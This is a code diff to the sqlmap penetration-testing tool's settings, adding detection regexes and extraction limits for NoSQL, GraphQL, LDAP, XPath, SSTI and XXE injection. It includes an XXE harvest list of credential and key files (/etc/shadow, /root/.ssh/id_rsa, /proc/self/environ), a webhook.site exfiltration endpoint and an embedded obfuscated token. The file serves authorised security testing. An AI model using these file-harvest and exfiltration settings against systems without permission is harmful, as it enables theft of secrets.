||||
BRUTE_TABLE_EXISTS_TEMPLATE = "EXISTS(SELECT %d FROM %s)"
|
||||
@@ -683,6 +819,9 @@ TRIM_STDOUT_DUMP_SIZE = 256
|
||||
# Reference: https://web.archive.org/web/20150407141500/https://support.microsoft.com/en-us/kb/899149
|
||||
DUMP_FILE_BUFFER_SIZE = 1024
|
||||
|
||||
# Block size used for the in-place secure-overwrite passes of '--purge' (bounds peak memory regardless of file size)
|
||||
PURGE_BLOCK_SIZE = 1024 * 1024
|
||||
|
||||
# Parse response headers only first couple of times
|
||||
PARSE_HEADERS_LIMIT = 3
|
||||
|
||||
@@ -716,6 +855,9 @@ FORCE_COOKIE_EXPIRATION_TIME = "9999999999"
|
||||
# Restricted PAT token for automated crash reporting (last rotation: 2026-04-24)
|
||||
GITHUB_REPORT_PAT_TOKEN = "0EZh0n8npcacTH4oBcdKKWvfZLcdGWx0N5XFHD2xYaQDOkmI9LWaeDvZRZUMDz8l96RDH3+LVsbwGE5zUtaau0kld9VXG20fVbYES3ooFpNv+U9J5OTnaT2OlZcYzk4w5veT+GiHV5cuCngOJ6QgL1+qRpZDX1gzFecXbm2sNfQ2SGjT5McQe1mtxMTN7WsS1fQfPH+RhMUgbnwXJ5YG6EsBNZWOyk0C16QnekrVtuQpK0/ZVvU560uQhoMsP1/FBguBwJe"
|
||||
|
||||
# Age (in days) past which a resumed session file is considered stale (triggers a one-time nudge)
|
||||
HASHDB_STALE_DAYS = 7
|
||||
|
||||
# Flush HashDB threshold number of cached items
|
||||
HASHDB_FLUSH_THRESHOLD_ITEMS = 200
|
||||
|
||||
@@ -731,11 +873,8 @@ HASHDB_RETRIEVE_RETRIES = 3
|
||||
# Number of retries for unsuccessful HashDB end transaction attempts
|
||||
HASHDB_END_TRANSACTION_RETRIES = 3
|
||||
|
||||
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing hash/pickle mechanism)
|
||||
HASHDB_MILESTONE_VALUE = "GpqxbkWTfz" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
|
||||
|
||||
# Pickle protocl used for storage of serialized data inside HashDB (https://docs.python.org/3/library/pickle.html#data-stream-format)
|
||||
PICKLE_PROTOCOL = 2
|
||||
# Unique milestone value used for forced deprecation of old HashDB values (e.g. when changing the hash/serialization mechanism)
|
||||
HASHDB_MILESTONE_VALUE = "MvKpZrBqTn" # python -c 'import random, string; print "".join(random.sample(string.ascii_letters, 10))'
|
||||
|
||||
# Warn user of possible delay due to large page dump in full UNION query injections
|
||||
LARGE_OUTPUT_THRESHOLD = 1024 ** 2
|
||||
@@ -761,6 +900,11 @@ MAX_STABILITY_DELAY = 0.5
|
||||
# Reference: http://www.tcpipguide.com/free/t_DNSLabelsNamesandSyntaxRules.htm
|
||||
MAX_DNS_LABEL = 63
|
||||
|
||||
# Maximum number of (most recent) DNS resolution requests retained by the DNS server (bounded so
|
||||
# that unrelated/stray traffic to the listening :53 socket cannot grow memory without limit; the
|
||||
# value is popped right after it is triggered, so only recent entries ever matter)
|
||||
MAX_DNS_REQUESTS = 1000
|
||||
|
||||
# Alphabet used for prefix and suffix strings of name resolution requests in DNS technique (excluding hexadecimal chars for not mixing with inner content)
|
||||
DNS_BOUNDARIES_ALPHABET = re.sub(r"[a-fA-F]", "", string.ascii_letters)
|
||||
|
||||
@@ -771,11 +915,314 @@ HEURISTIC_CHECK_ALPHABET = ('"', '\'', ')', '(', ',', '.')
|
||||
BANNER = re.sub(r"\[.\]", lambda _: "[\033[01;41m%s\033[01;49m]" % random.sample(HEURISTIC_CHECK_ALPHABET, 1)[0], BANNER)
|
||||
|
||||
# String used for dummy non-SQLi (e.g. XSS) heuristic checks of a tested parameter value
|
||||
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">"
|
||||
DUMMY_NON_SQLI_CHECK_APPENDIX = "<'\">)"
|
||||
|
||||
# Regular expression used for recognition of file inclusion errors
|
||||
FI_ERROR_REGEX = r"(?i)[^\n]{0,100}(no such file|failed (to )?open)[^\n]{0,100}"
|
||||
|
||||
# Regular expressions (per back-end, anchored to actual error-message structure - not product names) used for heuristic recognition of NoSQL injection
|
||||
NOSQL_ERRORS = (
|
||||
("MongoDB", r"Mongo(?:Server|Parse|Network|Runtime|Bulk|WriteConcern)?Error\b|\bBSON(?:Type)?Error\b|\bMongooseError\b|CastError: Cast to|unknown (?:top.level )?operator: ?\$|\$(?:regex|where|expr|in|nin|ne|gt|lt|elemMatch) (?:has to be|is not allowed|must be|not supported|requires)|Regular expression is invalid"),
|
||||
("CouchDB", r'"error"\s*:\s*"(?:bad_request|query_parse_error|missing_named_query)"|invalid operator: ?\$'),
|
||||
("Elasticsearch", r'"type"\s*:\s*"[a-z_]*?(?:query_shard|x_content_parse|parsing|search_phase_execution|illegal_argument|too_many_clauses|number_format|script)_exception"|Failed to parse query \['),
|
||||
("Solr", r"org\.apache\.solr\.[\w.]*(?:SyntaxError|SolrException)"),
|
||||
("Neo4j", r"Neo\.(?:ClientError|DatabaseError|TransientError|ClientNotification)\.|\bNeo4jError\b|even number of non-escaped quotes|Failed to parse string literal|expected an expression|'(?:UNWIND|OPTIONAL|DETACH|FOREACH|MERGE|LOAD CSV)'"),
|
||||
("ArangoDB", r"\bArangoError\b|AQL: (?:syntax|parse) error"),
|
||||
("Cassandra", r"line \d+:\d+ (?:no viable alternative at input|(?:mismatched|extraneous) input '.*?' expecting)|org\.apache\.cassandra|com\.datastax|\bInvalid(?:Request|Query)Exception\b"),
|
||||
("Redis", r"\bWRONGTYPE\b|ERR Error (?:compiling|running) script|@user_script|\bReplyError\b"),
|
||||
("Memcached", r"CLIENT_ERROR bad|SERVER_ERROR object too large"),
|
||||
("InfluxDB", r"error parsing query|unable to parse '[^']*': found"),
|
||||
("HBase/Phoenix", r"org\.apache\.phoenix|PhoenixParserException|org\.apache\.hadoop\.hbase"),
|
||||
)
|
||||
NOSQL_ERROR_REGEX = "(?:%s)" % '|'.join(regex for _, regex in NOSQL_ERRORS)
|
||||
|
||||
# Printable-ASCII codepoint bounds bisected (via regexp character-class ranges) during NoSQL blind extraction
|
||||
NOSQL_CHAR_MIN = 0x20
|
||||
NOSQL_CHAR_MAX = 0x7e
|
||||
|
||||
# Maximum number of document fields enumerated during a NoSQL ($where server-side JavaScript) document dump
|
||||
NOSQL_MAX_FIELDS = 64
|
||||
|
||||
# Maximum number of records walked during a NoSQL blind multi-record (ordered key paging) collection dump
|
||||
NOSQL_MAX_RECORDS = 100
|
||||
|
||||
# Upper bound for the length search during NoSQL blind extraction
|
||||
NOSQL_MAX_LENGTH = 1024
|
||||
|
||||
# GraphQL endpoint paths to probe when the user supplies a base URL with --graphql (no explicit /graphql)
|
||||
GRAPHQL_ENDPOINT_PATHS = ("/graphql", "/api/graphql", "/v1/graphql", "/api/v1/graphql", "/graphql/api", "/graphql/console", "/graphql.php", "/graphiql", "/graph", "/gql", "/query")
|
||||
|
||||
# Seed field/argument names used to recover a GraphQL schema from "Did you mean" suggestion error
|
||||
# messages when introspection is disabled (the field-suggestion / "Clairvoyance" technique)
|
||||
GRAPHQL_FIELD_WORDLIST = ("user", "users", "me", "search", "login", "node", "post", "posts",
|
||||
"account", "accounts", "profile", "product", "products", "order", "orders", "item", "items",
|
||||
"customer", "find", "get", "list", "comment", "comments", "message", "messages", "updateUser")
|
||||
GRAPHQL_ARG_WORDLIST = ("id", "username", "user", "name", "term", "query", "q", "search",
|
||||
"email", "input", "password", "key", "filter", "slug", "title", "uid")
|
||||
|
||||
# Canonical GraphQL introspection query (the one everyone copy-pastes). Returned schema carries the
|
||||
# full type system: query/mutation/subscription roots, OBJECT/INPUT_OBJECT/ENUM/SCALAR types, their
|
||||
# fields/arguments/inputFields with type chains, directives, and deprecation metadata.
|
||||
GRAPHQL_INTROSPECTION_QUERY = """query IntrospectionForSqlmap {
|
||||
__schema {
|
||||
queryType { name }
|
||||
mutationType { name }
|
||||
subscriptionType { name }
|
||||
directives { name args { name type { kind name ofType { kind name ofType { kind name } } } } }
|
||||
types {
|
||||
kind
|
||||
name
|
||||
fields(includeDeprecated: true) {
|
||||
name
|
||||
args {
|
||||
name
|
||||
defaultValue
|
||||
type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
|
||||
}
|
||||
type { kind name ofType { kind name ofType { kind name } } }
|
||||
}
|
||||
inputFields {
|
||||
name
|
||||
defaultValue
|
||||
type { kind name ofType { kind name ofType { kind name ofType { kind name } } } }
|
||||
}
|
||||
enumValues(includeDeprecated: true) { name }
|
||||
specifiedByURL
|
||||
}
|
||||
}
|
||||
}"""
|
||||
|
||||
# GraphQL error patterns that identify the response as originating from a GraphQL layer (parse,
|
||||
# validation, execution, or APQ errors). Used by the heuristic in checks.py and for error-based
|
||||
# detection inside the GraphQL engine.
|
||||
GRAPHQL_PARSE_ERRORS = (
|
||||
r'"code"\s*:\s*"GRAPHQL_PARSE_FAILED"',
|
||||
r"\bSyntax Error:\s*[^\"]",
|
||||
r"\bExpected Name,\s*found\b",
|
||||
r"\bUnexpected\s+<EOF>\b",
|
||||
)
|
||||
GRAPHQL_VALIDATION_ERRORS = (
|
||||
r'"code"\s*:\s*"GRAPHQL_VALIDATION_FAILED"',
|
||||
r"\bCannot query field\s+\"[^\"]+\"\s+on type\s+\"[^\"]+\"",
|
||||
r"\bUnknown argument\s+\"[^\"]+\"\s+on field\s+\"[^\"]+\"",
|
||||
r"\bField\s+\"[^\"]+\"\s+argument\s+\"[^\"]+\"\s+of type\s+\"[^\"]+\"\s+is required\b",
|
||||
r"\bVariable\s+\"\$[^\"]+\"\s+got invalid value\b",
|
||||
r"\bExpected type\s+[^,]+,\s*found\b",
|
||||
r"\bDid you mean\s+\"[^\"]+\"\b",
|
||||
)
|
||||
GRAPHQL_APQ_ERRORS = (
|
||||
r"\bPersistedQueryNotFound\b",
|
||||
r"\bPersistedQueryNotSupported\b",
|
||||
)
|
||||
GRAPHQL_RUNTIME_ERRORS = (
|
||||
r"\bGraphQL\s+(?:resolver\s+)?error\b",
|
||||
)
|
||||
GRAPHQL_ERROR_REGEX = "(?:%s)" % '|'.join(GRAPHQL_PARSE_ERRORS + GRAPHQL_VALIDATION_ERRORS + GRAPHQL_APQ_ERRORS + GRAPHQL_RUNTIME_ERRORS)
|
||||
|
||||
# LDAP error signatures per back-end for error-based detection and fingerprinting (matched against
|
||||
# HTTP response bodies). Each tuple is (backend_name, regex_fragment).
|
||||
LDAP_ERROR_SIGNATURES = (
|
||||
("Microsoft Active Directory", r"AcceptSecurityContext error, data [0-9a-fA-F]+"),
|
||||
("Microsoft Active Directory", r"LdapErr: DSID-[0-9a-fA-F]+"),
|
||||
("Microsoft Active Directory", r"80090308:\s*LdapErr"),
|
||||
("OpenLDAP", r"(?:Bad search filter|ldap_search_ext:\s*Bad search filter)(?:\s*\(-7\))?"),
|
||||
("OpenLDAP", r"Invalid DN syntax(?:\s*\(34\))?"),
|
||||
("ApacheDS", r"javax\.naming\.(?:directory\.)?(?:Naming|Authentication|InvalidName|InvalidSearchFilter|OperationNotSupported)Exception"),
|
||||
("ApacheDS", r"org\.apache\.directory\.api\.ldap\.model\.exception\.Ldap(?:InvalidSearchFilter|InvalidDn|SchemaViolation)?Exception"),
|
||||
("ApacheDS", r"LDAPException=\d+\s+msg=ERR_\d+"),
|
||||
("Oracle Directory Server", r"(?:attribute syntax error:|ACL parsing error:|Oracle (?:Unified )?Directory)"),
|
||||
("389 Directory Server", r"(?:Filter Syntax Verification|389[- ]Directory(?:[ /]Server)?)"),
|
||||
("Java JNDI", r"javax\.naming\.(?:InvalidNameException|InvalidSearchFilterException)"),
|
||||
("python-ldap", r"ldap\.(?:INVALID_DN_SYNTAX|FILTER_ERROR|NO_SUCH_OBJECT)"),
|
||||
)
|
||||
|
||||
# Combined LDAP error regex used for heuristic detection (checks.py) and for recognising
|
||||
# that an error response originates from an LDAP back-end rather than a generic HTTP 500
|
||||
LDAP_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in LDAP_ERROR_SIGNATURES)
|
||||
|
||||
# Printable-ASCII codepoint bounds bisected during LDAP blind extraction via >= lexicographic comparison
|
||||
LDAP_CHAR_MIN = 0x20
|
||||
LDAP_CHAR_MAX = 0x7e
|
||||
|
||||
# Upper bound for the value-length search during LDAP blind extraction
|
||||
LDAP_MAX_LENGTH = 256
|
||||
|
||||
# Maximum number of directory entries enumerated during LDAP blind dumping
|
||||
LDAP_MAX_RECORDS = 20
|
||||
|
||||
# Attributes that definitively identify the backend vendor when probed on the RootDSE or
|
||||
# a well-known directory entry. Each tuple is (attribute, expected_value_substring, backend).
|
||||
LDAP_FINGERPRINT_ATTRIBUTES = (
|
||||
("objectGUID", None, "Microsoft Active Directory"),
|
||||
("vendorName", "OpenLDAP", "OpenLDAP"),
|
||||
("vendorName", "Apache Software Foundation", "ApacheDS"),
|
||||
("vendorName", "Oracle Corporation", "Oracle Directory Server"),
|
||||
("vendorName", "Red Hat", "389 Directory Server"),
|
||||
)
|
||||
|
||||
# XPath error signatures per parser implementation for error-based detection and
|
||||
# fingerprinting (matched against HTTP response bodies). Each tuple is
|
||||
# (backend_name, regex_fragment).
|
||||
XPATH_ERROR_SIGNATURES = (
|
||||
("Java JAXP / Xalan", r"(?:javax\.xml\.(?:xpath\.XPathExpressionException|transform\.Transformer(?:Configuration)?Exception)|com\.sun\.org\.apache\.xpath\.(?:XPathException|XPathProcessorException)|org\.apache\.xpath|org\.xml\.sax\.SAX(?:Parse)?Exception)"),
|
||||
("Java JAXP / Xalan", r"XPath (?:expression|syntax) error"),
|
||||
("Java JAXP / Saxon", r"net\.sf\.saxon\.(?:trans\.XPathException|s9api\.SaxonApiException)"),
|
||||
("Java JAXP / Saxon", r"(?:XPST|XPTY|XPDY|XQST|XTDE)\d{4}:"),
|
||||
(".NET XPathNavigator", r"System\.Xml\.(?:XPath\.XPathException|XmlException)"),
|
||||
(".NET XPathNavigator", r"Expression must evaluate to a node-set"),
|
||||
(".NET XPathNavigator", r"has an invalid (?:token|qualified name)"),
|
||||
("lxml / libxml2", r"(?:lxml\.etree\.(?:XPath(?:Eval|Document|Syntax)?Error)|libxml2|xmlXPath(?:CompOp|Eval|Err))"),
|
||||
("lxml / libxml2", r"(?:XPath error|Invalid (?:expression|predicate))"),
|
||||
("PHP SimpleXML / DOMXPath", r"(?:SimpleXMLElement::xpath\(\)|DOMXPath::(?:query|evaluate)\(\))"),
|
||||
("PHP SimpleXML / DOMXPath", r"Invalid expression|xmlXPathEval"),
|
||||
("Saxon (standalone)", r"(?:net\.sf\.saxon\.(?:s9api\.SaxonApiException|trans\.XPathException)|Saxon error)"),
|
||||
("Saxon (standalone)", r"Static error\(s\) in query"),
|
||||
("BaseX", r"org\.basex\.(?:query\.QueryException|core\.BaseXException)"),
|
||||
("BaseX", r"\[(?:XPST|XPTY|XPDY)\d{4}\]"),
|
||||
("eXist", r"org\.exist\.xquery\.(?:XPathException|XQueryException)"),
|
||||
("eXist", r"exerr:ERROR"),
|
||||
("Python ElementTree", r"xml\.etree\.ElementTree\.(?:ParseError|Element)"),
|
||||
("Generic XPath", r"(?:XPath|XSLT).*?(?:error|exception|syntax)"),
|
||||
("Generic XPath", r"Invalid XPath|XPath evaluation failed"),
|
||||
)
|
||||
|
||||
XPATH_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XPATH_ERROR_SIGNATURES)
|
||||
|
||||
# Printable-ASCII codepoint bounds bisected during XPath blind character extraction
|
||||
XPATH_CHAR_MIN = 0x20
|
||||
XPATH_CHAR_MAX = 0x7e
|
||||
|
||||
# Maximum tree depth for recursive XML walking during XPath blind extraction
|
||||
XPATH_MAX_DEPTH = 32
|
||||
|
||||
# Upper bound for the value-length search during XPath blind extraction
|
||||
XPATH_MAX_LENGTH = 256
|
||||
|
||||
# SSTI error signatures per template engine for detection and fingerprinting.
|
||||
# Each tuple is (engine_name, regex_fragment).
|
||||
SSTI_ERROR_SIGNATURES = (
|
||||
("Jinja2", r"jinja2\.exceptions\.\w+|TemplateSyntaxError|UndefinedError|TemplateNotFound|TemplateAssertionError"),
|
||||
("Twig", r"Twig[\\_]Error|Twig[\\_]Environment|Unknown (?:filter|function|test|tag)"),
|
||||
("Freemarker", r"freemarker\.(?:core|template|extract|cache)\.\w+|ParseException|InvalidReferenceException|TemplateException"),
|
||||
("Velocity", r"org\.apache\.velocity\.(?:runtime|exception)\.\w+|ParseErrorException|MethodInvocationException|ResourceNotFoundException"),
|
||||
("Spring EL / Thymeleaf", r"org\.springframework\.expression\.\w+|org\.thymeleaf\.\w+|SpelEvaluationException|TemplateProcessingException|ExpressionParsingException"),
|
||||
("ERB", r"\(erb\):\d+|NameError.*undefined local variable"),
|
||||
("Pug/Jade", r"pug|jade|ParseError"),
|
||||
("Handlebars", r"handlebars|Handlebars|Parse error on line"),
|
||||
("Generic SSTI", r"template.*?(?:error|syntax|exception)"),
|
||||
)
|
||||
|
||||
SSTI_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in SSTI_ERROR_SIGNATURES)
|
||||
|
||||
# XXE parser error signatures for detection and fingerprinting. Each tuple is
|
||||
# (parser_family, regex_fragment). A match means the XML surface reached a real
|
||||
# parser and the DOCTYPE/entity was processed (or rejected with a diagnostic) -
|
||||
# useful both as an error-based oracle and to fingerprint the back-end parser.
|
||||
XXE_ERROR_SIGNATURES = (
|
||||
("libxml2 (PHP/lxml)", r"(?:failed to load (?:external entity|\")|xmlParseEntityRef|Entity '[^']*' not defined|EntityRef: expecting|Detected an entity reference loop|String not started expecting|StartTag: invalid element name|Start tag expected|Extra content at the end of the document|Premature end of data|error parsing DTD|internal error: Huge input lookup)"),
|
||||
("PHP simplexml/DOM", r"(?:simplexml_load_string\(\)|DOMDocument::load(?:XML)?\(\)|SimpleXMLElement::__construct\(\))"),
|
||||
("Java (Xerces/JAXP)", r"(?:org\.xml\.sax\.SAXParseException|com\.sun\.org\.apache\.xerces|javax\.xml\.stream\.XMLStreamException|The (?:entity|element type) \"[^\"]*\" was referenced|DOCTYPE is disallowed when the feature|External (?:DTD|parsed entities|Entity): failed|must be declared|had to be read but the maximum)"),
|
||||
(".NET System.Xml", r"(?:System\.Xml\.XmlException|For security reasons DTD is prohibited|Reference to undeclared entity|An error occurred while parsing EntityName|XmlTextReaderImpl)"),
|
||||
("Python expat", r"(?:xml\.parsers\.expat\.ExpatError|undefined entity|not well-formed \(invalid token\)|ExpatError)"),
|
||||
("Ruby Nokogiri/REXML", r"(?:Nokogiri::XML::SyntaxError|REXML::ParseException|Entity .* not defined)"),
|
||||
("Go encoding/xml", r"XML syntax error on line \d+"),
|
||||
("Generic XML", r"(?:XML (?:parsing|parse|syntax) error|malformed XML|unexpected (?:end of|<) )"),
|
||||
)
|
||||
|
||||
XXE_ERROR_REGEX = r"(?i)(?:%s)" % '|'.join(regex for _, regex in XXE_ERROR_SIGNATURES)
|
||||
|
||||
# Signatures indicating a hardened / XXE-safe parser posture (DTDs or external
|
||||
# entities explicitly refused). Reported as "reachable but protected" - never a hit.
|
||||
XXE_HARDENED_REGEX = r"(?i)(?:DOCTYPE is disallowed|DTD is prohibited|(?:external )?(?:DTD|entit(?:y|ies)) (?:are|is) (?:not (?:supported|allowed)|disabled|prohibited|forbidden)|loading of external|network access is not allowed|FEATURE_SECURE_PROCESSING|access to external)"
|
||||
|
||||
# Benign, low-entropy files used only to demonstrate file-read impact once XXE is
|
||||
# confirmed. Deliberately NOT /etc/passwd (WAF honeypots key on "root:x:0:0") - a
|
||||
# short host-identity file is enough to prove the read without tripping decoys.
|
||||
# Out-of-band (interactsh) collector for blind XXE confirmation. Public default
|
||||
# pool (best-effort, may rotate/be blocklisted by WAFs); override with --oob-server
|
||||
# to point at a self-hosted interactsh-server. Correlation-id + nonce lengths match
|
||||
# the interactsh defaults (subdomain = <20-char id><13-char nonce>.<server>).
|
||||
OOB_INTERACTSH_SERVERS = ("oast.fun", "oast.pro", "oast.live", "oast.site", "oast.online", "oast.me")
|
||||
# Public content-hosting + request-logging endpoint for blind-XXE OOB exfiltration
|
||||
# (hosts the malicious external DTD and captures the file-bearing callback). Unlike
|
||||
# interactsh it can serve arbitrary content; HTTP-only. Used only on explicit consent.
|
||||
OOB_EXFIL_ENDPOINT = "https://webhook.site"
|
||||
OOB_CORRELATION_ID_LENGTH = 20
|
||||
OOB_NONCE_LENGTH = 13
|
||||
OOB_POLL_ATTEMPTS = 15 # generous: two-hop exfil (target fetches DTD, then calls back) over the
|
||||
OOB_POLL_DELAY = 2 # target's own link + webhook.site's eventually-consistent API (best-effort)
|
||||
|
||||
# Time-based blind tier: an external entity aimed at this non-routable RFC5737
|
||||
# TEST-NET-1 host makes a fetching parser stall on the connection, so a large,
|
||||
# reproducible response delay betrays otherwise-blind XXE with NO collector needed.
|
||||
# The delay must exceed a DTD-processing control baseline by this many seconds.
|
||||
XXE_BLACKHOLE_HOST = "192.0.2.1"
|
||||
XXE_TIME_THRESHOLD = 5
|
||||
|
||||
XXE_IMPACT_FILES = (
|
||||
("file:///etc/os-release", r"(?i)^(?:NAME|ID|VERSION)="), # anchored, high-signal
|
||||
("file:///c:/windows/win.ini", r"(?i)\[(?:fonts|extensions|mci extensions|files)\]"),
|
||||
)
|
||||
|
||||
# Once an in-band XXE file-read primitive is CONFIRMED, sqlmap proactively harvests
|
||||
# this curated set of high-value, fixed-path files (host identity, process env/
|
||||
# secrets, key material, common application drop paths) - the XXE analogue of the
|
||||
# automatic dumping the other non-SQL engines perform. Kept small and high-signal (each
|
||||
# entry costs 1-2 requests); best-effort, so unreadable/absent files are silently
|
||||
# skipped. Unlike XXE_IMPACT_FILES (a benign PRE-confirmation impact probe that avoids
|
||||
# WAF-honeypot paths) this runs only AFTER confirmation, so sensitive paths are
|
||||
# appropriate. Skipped when the user gave an explicit '--file-read' (that targeted
|
||||
# request is honoured verbatim instead).
|
||||
XXE_FILE_HARVEST = (
|
||||
"/etc/passwd",
|
||||
"/etc/hostname",
|
||||
"/etc/hosts",
|
||||
"/etc/os-release",
|
||||
"/etc/shadow",
|
||||
"/etc/group",
|
||||
"/proc/self/environ",
|
||||
"/proc/self/cmdline",
|
||||
"/proc/self/status",
|
||||
"/proc/version",
|
||||
"/root/.bash_history",
|
||||
"/root/.ssh/id_rsa",
|
||||
"/flag",
|
||||
"/flag.txt",
|
||||
"c:/windows/win.ini",
|
||||
"c:/windows/system32/drivers/etc/hosts",
|
||||
"c:/inetpub/wwwroot/web.config",
|
||||
)
|
||||
|
||||
# Application web roots + source filenames used, once php://filter is available, to
|
||||
# disclose server-side SOURCE code (which is executed and never rendered, yet leaks its
|
||||
# literals - credentials, tokens, embedded secrets - verbatim through the base64 filter
|
||||
# wrapper). Combined with the running script derived from harvested /proc/self/{cmdline,
|
||||
# environ}. Best-effort and bounded.
|
||||
XXE_WEBROOTS = ("/var/www/html", "/var/www", "/app", "/usr/src/app", "/srv/app")
|
||||
XXE_SOURCE_NAMES = (
|
||||
"index.php", "config.php", "config.inc.php", "secret.php",
|
||||
"db.php", "database.php", "settings.php", "init.php", "functions.php",
|
||||
"app.py", "server.py", "main.py", "wp-config.php", ".env",
|
||||
)
|
||||
|
||||
# GoSecure dtd-finder local-DTD repurposing table for no-egress error-based XXE:
|
||||
# an on-disk DTD is loaded, one of its parameter entities is redefined to smuggle
|
||||
# an error/exfil primitive, so no outbound network is needed. (path, entity_name).
|
||||
# Windows paths are community-sourced and remain UNVERIFIED vendor-side.
|
||||
XXE_LOCAL_DTDS = (
|
||||
("file:///usr/share/yelp/dtd/docbookx.dtd", "ISOamso"), # GNOME yelp - reliably repurposable
|
||||
("file:///usr/share/xml/docbook/schema/dtd/4.5/docbookx.dtd", "ISOamso"), # docbook package
|
||||
("file:///opt/IBM/WebSphere/AppServer/properties/sip-app_1_0.dtd", "connection"),
|
||||
("file:///usr/share/xml/fontconfig/fonts.dtd", "constant"), # widespread but gadget is version-fragile
|
||||
("file:///C:/Windows/System32/wbem/cim20.dtd", "SuperClass"), # Windows paths community-sourced, UNVERIFIED
|
||||
("file:///C:/Windows/System32/wbem/wmi20.dtd", "extension"),
|
||||
("file:///C:/Windows/System32/xwizards/xwizard.dtd", "ELEMENT"),
|
||||
("jar:file:///usr/share/java/lotus-domino.jar!/schema/domino.dtd", "abbr"),
|
||||
)
|
||||
|
||||
# Upper bound for SSTI value extraction (reserved for future use)
|
||||
SSTI_MAX_LENGTH = 256
|
||||
|
||||
# Length of prefix and suffix used in non-SQLI heuristic checks
|
||||
NON_SQLI_CHECK_PREFIX_SUFFIX_LENGTH = 6
|
||||
|
||||
@@ -785,6 +1232,12 @@ MAX_CONNECTION_READ_SIZE = 10 * 1024 * 1024
|
||||
# Maximum response total page size (trimmed if larger)
|
||||
MAX_CONNECTION_TOTAL_SIZE = 100 * 1024 * 1024
|
||||
|
||||
# Maximum number of requests served over a single persistent (Keep-Alive) connection before it is recycled
|
||||
KEEPALIVE_MAX_REQUESTS = 1000
|
||||
|
||||
# Maximum idle time (in seconds) a pooled persistent (Keep-Alive) connection is considered reusable before being recycled
|
||||
KEEPALIVE_IDLE_TIMEOUT = 30
|
||||
|
||||
# For preventing MemoryError exceptions (caused when using large sequences in difflib.SequenceMatcher)
|
||||
MAX_DIFFLIB_SEQUENCE_LENGTH = 10 * 1024 * 1024
|
||||
|
||||
@@ -842,6 +1295,15 @@ LIMITED_ROWS_TEST_NUMBER = 15
|
||||
# Default adapter to use for bottle server
|
||||
RESTAPI_DEFAULT_ADAPTER = "wsgiref"
|
||||
|
||||
# REST API / scan-data contract version (semantic versioning), INDEPENDENT of the sqlmap version.
|
||||
# Bump MAJOR for breaking changes (removed/renamed field, changed type, restructured response),
|
||||
# MINOR for additive backward-compatible changes (new field/endpoint), PATCH for non-contract fixes.
|
||||
# Exposed at GET /version (as "api_version"), in the --report-json "meta", and as the OpenAPI
|
||||
# info.version (keep sqlmapapi.yaml in sync). Maintained by hand when the contract changes.
|
||||
# 2.0.0: first explicitly-versioned contract; a MAJOR break from the old implicit shape
|
||||
# (TECHNIQUES is now a named list, DUMP_TABLE restructured, internal fields dropped, type_name added).
|
||||
RESTAPI_VERSION = "2.0.0"
|
||||
|
||||
# Default REST API server listen address
|
||||
RESTAPI_DEFAULT_ADDRESS = "127.0.0.1"
|
||||
|
||||
@@ -849,7 +1311,7 @@ RESTAPI_DEFAULT_ADDRESS = "127.0.0.1"
|
||||
RESTAPI_DEFAULT_PORT = 8775
|
||||
|
||||
# Unsupported options by REST API server
|
||||
RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert")
|
||||
RESTAPI_UNSUPPORTED_OPTIONS = ("sqlShell", "wizard", "evalCode", "alert", "reportJson")
|
||||
|
||||
# Use "Supplementary Private Use Area-A"
|
||||
INVALID_UNICODE_PRIVATE_AREA = False
|
||||
@@ -980,6 +1442,11 @@ for key, value in os.environ.items():
|
||||
globals()[_] = int(value)
|
||||
except ValueError:
|
||||
pass
|
||||
elif isinstance(original, float):
|
||||
try:
|
||||
globals()[_] = float(value)
|
||||
except ValueError:
|
||||
pass
|
||||
elif isinstance(original, (list, tuple)):
|
||||
globals()[_] = [__.strip() for __ in value.split(',')]
|
||||
else:
|
||||
|
||||
+13
-1
@@ -40,6 +40,9 @@ try:
|
||||
except:
|
||||
readline._readline = None
|
||||
|
||||
_atexitRegistered = False
|
||||
_activeCompletion = None
|
||||
|
||||
def readlineAvailable():
|
||||
"""
|
||||
Check if the readline is available. By default
|
||||
@@ -148,4 +151,13 @@ def autoCompletion(completion=None, os=None, commands=None):
|
||||
readline.parse_and_bind("tab: complete")
|
||||
|
||||
loadHistory(completion)
|
||||
atexit.register(saveHistory, completion)
|
||||
|
||||
# Note: readline keeps a single global in-memory history; loadHistory() above swaps it to the
|
||||
# currently active shell. Registering a fresh atexit handler per call would make every shell
|
||||
# write that one global buffer to its own path at exit, clobbering the others. Instead register
|
||||
# a single handler that saves only the shell active at exit.
|
||||
global _atexitRegistered, _activeCompletion
|
||||
_activeCompletion = completion
|
||||
if not _atexitRegistered:
|
||||
atexit.register(lambda: saveHistory(_activeCompletion))
|
||||
_atexitRegistered = True
|
||||
|
||||
@@ -199,4 +199,9 @@ def send_all(p, data):
|
||||
sent = p.send(data)
|
||||
if not isinstance(sent, int):
|
||||
break
|
||||
if sent == 0:
|
||||
# Note: POSIX send() returns 0 when the child's stdin pipe is not currently writable;
|
||||
# back off briefly instead of busy-spinning at 100% CPU until the child drains it
|
||||
time.sleep(0.01)
|
||||
continue
|
||||
data = buffer(data[sent:])
|
||||
|
||||
+11
-6
@@ -79,7 +79,7 @@ from lib.core.settings import XML_RECOGNITION_REGEX
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.utils.hashdb import HashDB
|
||||
from thirdparty import six
|
||||
from thirdparty.odict import OrderedDict
|
||||
from collections import OrderedDict
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
def _setRequestParams():
|
||||
@@ -412,7 +412,7 @@ def _setRequestParams():
|
||||
raise SqlmapGenericException(errMsg)
|
||||
|
||||
if conf.csrfToken:
|
||||
if not any(re.search(conf.csrfToken, ' '.join(_), re.I) for _ in (conf.paramDict.get(PLACE.GET, {}), conf.paramDict.get(PLACE.POST, {}), conf.paramDict.get(PLACE.COOKIE, {}))) and not re.search(r"\b%s\b" % conf.csrfToken, conf.data or "") and conf.csrfToken not in set(_[0].lower() for _ in conf.httpHeaders) and conf.csrfToken not in conf.paramDict.get(PLACE.COOKIE, {}) and not all(re.search(conf.csrfToken, _, re.I) for _ in conf.paramDict.get(PLACE.URI, {}).values()):
|
||||
